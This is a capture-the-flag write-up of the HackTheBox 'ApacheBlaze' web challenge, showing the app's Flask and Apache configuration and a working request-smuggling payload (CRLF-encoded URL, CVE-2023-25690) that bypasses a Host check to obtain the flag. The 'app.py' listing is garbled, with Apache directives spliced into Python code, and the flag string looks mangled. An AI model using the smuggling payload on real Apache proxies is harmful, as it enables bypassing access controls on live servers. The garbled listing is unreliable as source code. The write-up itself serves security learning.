

ApacheBlaze

1) Checked the source code

```
(vigneswar@VigneswarPC)-[~/../web_apacheblaze/challenge/backend/src]
$ cat app.py
from flask import Flask, request, jsonify
loadModule proxy_module modules/mod_proxy.so
loadModule proxy_http_module modules/mod_proxy_http.so
loadModule proxy_balancer_module modules/mod_proxy_balancer.so
app.config['GAMES'] = {'magic_click', 'click_mania', 'hyper_clicker', 'click_topia'}
app.config['FLAG'] = 'HTB{f4k3_fl4g_f0r_t3st1ng}'

@app.route('/', methods=['GET'])
def index():
    game = request.args.get('game')

    if not game:
        return jsonify({
            'error': 'Empty game name is not supported!'
        }), 400

    RewriteRule "^/api/games/(.*)" "http://127.0.0.1:8080/?game=$1" [P]
    elif game not in app.config['GAMES']:
        return jsonify({
            'error': 'Invalid game name!'
        }), 400

    <VirtualHost *:8080>
    elif game == 'click_topia':
        Set if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local':
            return jsonify({
                'message': f'{app.config["FLAG"]}'
            }), 200
        ProxyPass / balancer://mycluster/
    else:
        <Proxy>
        Balancer 'message': 'This game is currently available only from dev.apacheblaze.local.'
        ProxySet stickysession=ROUTEID
    else:
        <Proxy>
        ProxySet lbmethod=byrequests
        return jsonify({
            'message': 'This game is currently unavailable due to internal maintenance.'
        }), 200
    </Proxy>
    </VirtualHost>
```

it seems simple, we just have to set X-Forwarded-Host

ii) However that doesnt work

Request	Response
1 GET /api/games/click_topia HTTP/1.1 2 Host: 127.0.0.1 3 X-Forwarded-Host: dev.apacheblaze.local 4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 5 Accept: */* 6 Accept-Language: en-US,en;q=0.5 7 Accept-Encoding: gzip, deflate, br 8 Connection: close 9 10	1 HTTP/1.1 200 OK 2 Date: Tue, 04 Jun 2024 17:26:50 GMT 3 Server: Apache 4 Content-Type: application/json 5 Content-Length: 80 6 Connection: close 7 8 { 9 "message": "This game is currently available only from dev.apacheblaze.local." 10 }

Inspector

Request attributes 2

Request query parameters 0

Request body parameters 0

Request cookies 0

Request headers 7

Response headers 5

iii) Checked apache config

```
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule proxy_balancer_module modules/mod_proxy_balancer.so
LoadModule slotmem_shm_module modules/mod_slotmem_shm.so
LoadModule lbmethod_byrequests_module modules/mod_lbmethod_byrequests.so
```

We need to research on these modules

Reverse Proxy Request Headers

When acting in a reverse-proxy mode (using the `ProxyPass` directive, for example), `mod_proxy_http` adds several request headers in order to pass information to the origin server. These headers are:

X-Forwarded-For

The IP address of the client.

X-Forwarded-Host

The original host requested by the client in the `Host` HTTP request header.

X-Forwarded-Server

The hostname of the proxy server.

Be careful when using these headers on the origin server, since they will contain more than one (comma-separated) value if the original request already contained one of these headers. For example, you can use `%{X-Forwarded-For}i` in the log format string of the origin server to log the original clients IP address, but you may get more than one address if the request passes through several proxies.

See also the `ProxyPreserveHost` and `ProxyVia` directives, which control other request headers.

```
<VirtualHost *:1337>
    ServerName proxy
    DocumentRoot /usr/local/apache2/htdocs
    RewriteEngine on
    RewriteRule "^/api/games/(.*)" "http://127.0.0.1:8080/?game=$1" [P]
    ProxyPassReverse "/" "http://127.0.0.1:8080:/api/games/"
</VirtualHost>

<VirtualHost *:8080>
    ServerName balancer
    ProxyPass / balancer://mycluster/
    ProxyPassReverse / balancer://mycluster/

    <Proxy balancer://mycluster>
        BalancerMember http://127.0.0.1:8081 route=127.0.0.1
        BalancerMember http://127.0.0.1:8082 route=127.0.0.1
        ProxySet stickysession=ROUTEID
        ProxySet lbmethod=byrequests
    </Proxy>
</VirtualHost>
```

iv) We have to use request smuggling

<https://github.com/dhmosfunk/CVE-2023-25690-POC/tree/main#internal-http-request-smuggling-via-header-injection>

v) Flag

Request

PrettyRawHex

1 GET /api/games/click_topia%20HTTP/1.1%0d%0aHost:%20dev.apacheblaze.local%0d%0a%0d%0aGET%20/
HTTP/1.1
2 Host: localhost:1337
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
4 Accept: */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Connection: close
8
9

Response

PrettyRawHexRender

1 HTTP/1.1 200 OK
2 Date: Tue, 04 Jun 2024 18:04:20 GMT
3 Server: Apache
4 Content-Type: application/json
5 Content-Length: 44
6 Connection: close
7
8 {
9
10 "message":"HfB(lt5_4ll_4bout_Th3_Click5)"
11 }
12

Inspector

Selection 87 (0x57)

Selected text

/api/games/click_topia%20HTTP/1.1%0d%0aHost:%20dev.apacheblaze.local%0d%0a%0d%0aGET%20/

Decoded from: URL encoding

/api/games/click_topia HTTP/1.1
Host: dev.apacheblaze.local
GET /

Cancel

Apply changes